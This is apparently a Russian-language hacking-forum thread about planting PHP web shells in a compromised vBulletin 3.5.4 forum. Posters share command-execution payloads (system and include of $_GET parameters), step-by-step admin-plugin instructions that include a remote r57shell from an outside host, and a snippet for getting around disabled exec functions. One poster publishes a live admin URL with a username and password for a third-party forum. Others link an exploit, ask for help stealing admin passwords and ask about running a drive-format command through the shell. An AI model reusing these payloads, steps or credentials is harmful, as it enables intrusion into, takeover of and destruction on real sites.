vBulletin 3.5.4 + shell

[x_zStas_x]

Ни самописный шелл, ни вообще любой другой через модули (как написано в теме про уязвимости vBulletin) не работает. заходишь на faq.php?cmd=ls например, а там фигня полная. поиск и всё. через смайлы тоже не канает. :confused:

[Utochka]

отсюда вывод, оно пропатчено.....

[x_zStas_x]

вот бл!!!! нах спрашивается я столько брутил??? :))

[И.Г.]

дело не в патче,а в неправильном использовании скрипта... если ты в модуль зафигачил шел,то он будет работать 100% (при условии что ты правльно даешь команду) в версии 3.5.4

[InferNo23]

может там винда стоит попробуй faq.php?cmd=dir

[x_zStas_x]

не, там фряха! =)
а использую правильно, че вы думаете я шелл не могу заюзать?? =)
я ещё помню времена php-including =)

[Utochka]

лабо пропачено, либо ты что то не так сделал. еще раз все проверь.

один раз было такое, что вот так не сработало faq.php?cmd=ls -al

пришлось прямо в модуль вставлять код, попробуй. но при выполнении следующей команды надо переписывать модуль. ТАк что сразу заливай шелл.

[x_zStas_x]

и так тоже не канает!

[a1ex]

Дай каму-нить линку пусть попытается кто-нить!!!

P.s.Кто же ентот счасливчик?:)

[x_zStas_x]

неее :) я сам хочу :)
как думаете если к вложениям добавить пхп, а потом куда-нить вложить шелл будет работать?? :)

[ShAnKaR]

топикстатрет а ты вобще подумал о том что там может стоять сейфмод или в дисабле_функ зафигачено все ехечные функции?

[k1b0rg]

посмотри phpinfo();

если отключены функции выполнении команд, то юзай php

Например вывод всех файлов в каталоге:

<?
$dir=dir("./");
print "Pwd:".realpath($dir->path)."<br>\n";
while(False!==($entry=$dir->read())) {
if(is_dir(realpath($dir->path).'/'.$entry)) {
echo " d[".$entry."]".(is_writable(realpath($dir->path).'/'.$entry)?'[W]':'')."<br>\n";
} else {
echo $entry.(is_writable(realpath($dir->path).'/'.$entry)?'[W]':'')."<br>\n";
}
}
$dir->close();
?>

[FraiDex]

попробуй вместо <? system($_GET['cmd']) ?> вбить <? include($_GET['inc']) ?> и проинклудь нормальный шелл... faq.php?inc=http://site.ru/shell.php, где http://site.ru/shell.php - ссылка на твой шелл

[x_zStas_x]

к сожелению вообще ничего не канает :'(

[x_zStas_x]

safe_mod = off

[x_zStas_x]

disable_functions system, shell_exec, exec, proc_get_status, proc_nice, proc_terminate, define_syslog_variables, syslog, openlog, closelog, escapeshellcmd, passthru, readfile, ocinumcols, ini_alter, leak, listen, chgrp, set_time_limit, apache_note, apache_setenv, debugger_on, debugger_off, ftp_exec, dl, dll, ftp

[x_zStas_x]

что блин делать?) вам на растерзание отдать??:))

[x_zStas_x]

<? echo "31337"; ?>
даже это не канает!!

[a1ex]

Давай на растерзанье лутше...

[x_zStas_x]

неее, что то тут не чисто!!:) надо разобраться!!:)

[Alexsize]

Все тут чисто. Не парься, голяк тут полный. Но может можно по - другому обойти=)

[x_zStas_x]

не догнал. обьясни почему голяк-то!
я вот всё думаю почему модули-то включены.
а даже самый простой код не обрабатывается :'(

[x_zStas_x]

ладно!! фиг с вами!!) всё равно я не надеялся что там есть шестизнаки =)
жуйте!
http://6uin.info/forum/admincp/
Ponka:xfhkbr

репу хоть повысьте =)

[AkyHa_MaTaTa]

Можно поставить плюсик за то что "так много брутил" но лутше убери Log : pass к админке, вроде бы на форуме запрещено выкладывать шеллы , а тебе еще и минусов накидают :) .

[x_zStas_x]

да не, там с шеллом пустое дело! там все функции запрещены, которыми можно команды выполнять...

[AkyHa_MaTaTa]

Защел я сегодня на этот форум, увидил много новых админов :)

[Validol]

Сейчас на этом форуме написано:

"Вы лолы =)"

Удивительно.
А может кто-нибудь мне помочь со взломом vBulletin 3.6.4 ?
Конкретно нужен пасс от админки, другое не нужно...

[SHaDoW[RF]]

Validol
я написал =)

[maxster]

для булета я где то читал можно через шаблоны хмл заливать, сам шас ищу этот пост, если кто найдет киньте линк в ЛС

[Zitt]

http://video.antichat.ru/file221.html
Тут всё показано)

[maxster]

у меня админка старая, а форум 3.5.4, поэтому через смайлы никак, а модуля вообще нетБтак что твой способ мне не поможет, но я точно помню кто то писал тут, что можно через шаблоны заливать и даже точно говорил как, перечитал 13 страниц поиска ничего не нашел...

[cardons]

у меня админка старая, а форум 3.5.4, поэтому через смайлы никак, а модуля вообще нетБтак что твой способ мне не поможет, но я точно помню кто то писал тут, что можно через шаблоны заливать и даже точно говорил как, перечитал 13 страниц поиска ничего не нашел...
Система модулей -> Управление модулями -> [Добавить новый модуль] -> Далее выбираешь Местоположение хака -> faq_complete. Заголовок пишешь любой к примеру 123
Код PHP модуля пишешь include "http://http://hcr.3dn.ru/expl/php/r57shell.txt";
Сохраняешь.И заходишь в FAQ и будет те счастье.
Да и незабудь выбрать модуль включен -> Да

[AkyHa_MaTaTa]

А как подлить шелл в вобле 3.6.3?

[fersa]

Можно что нибудь зделать имея доступ супер модератора?

[AkyHa_MaTaTa]

Можно что нибудь зделать имея доступ супер модератора?

http://milw0rm.com/exploits/3387 - vBulletin <= 3.6.4

[AkyHa_MaTaTa]

...что можно через шаблоны заливать ...
вот c воблы 3.6.3 кусок с щаблончика(кто на форуме):
<a href="forumdisplay.php?$session[sessionurl]do=markread" rel="nofollow">$vbphrase[mark_forums_read]</a>-
менюшка: Навигация->Все разделы прочитаны

href="forumdisplay.php?$session[sessionurl]do=markread
- попробывал из админ панели изминить на :
http://www.myshell.ru/shell.php?cmd=id
но походу админ запретил изменения файлов форума,
мне не удалось поменять в шаблоне ни одного символа-
You don't have permission to access/somescript.php.Хотя я знаю что админ менял этот скрипт и другие(копирайты вобловcкие убрал:) ).

[maxster]

Cпасибо конечно, но я же писал, что админка от 3.0.1 там нету вообще возможности добавлять модуль!

2AkyHa_MaTaTa
Я точно помню, я на ачате читал, что можно, надо будет самому потом разобраться

[valsha]

а нормально сработает такая конструкуия forumpath/faq.php?cmd=format d: /Q
с учетом того что шел нормально залился и forumpath/faq.php?cmd=dir показывает содержимое.
спасибо.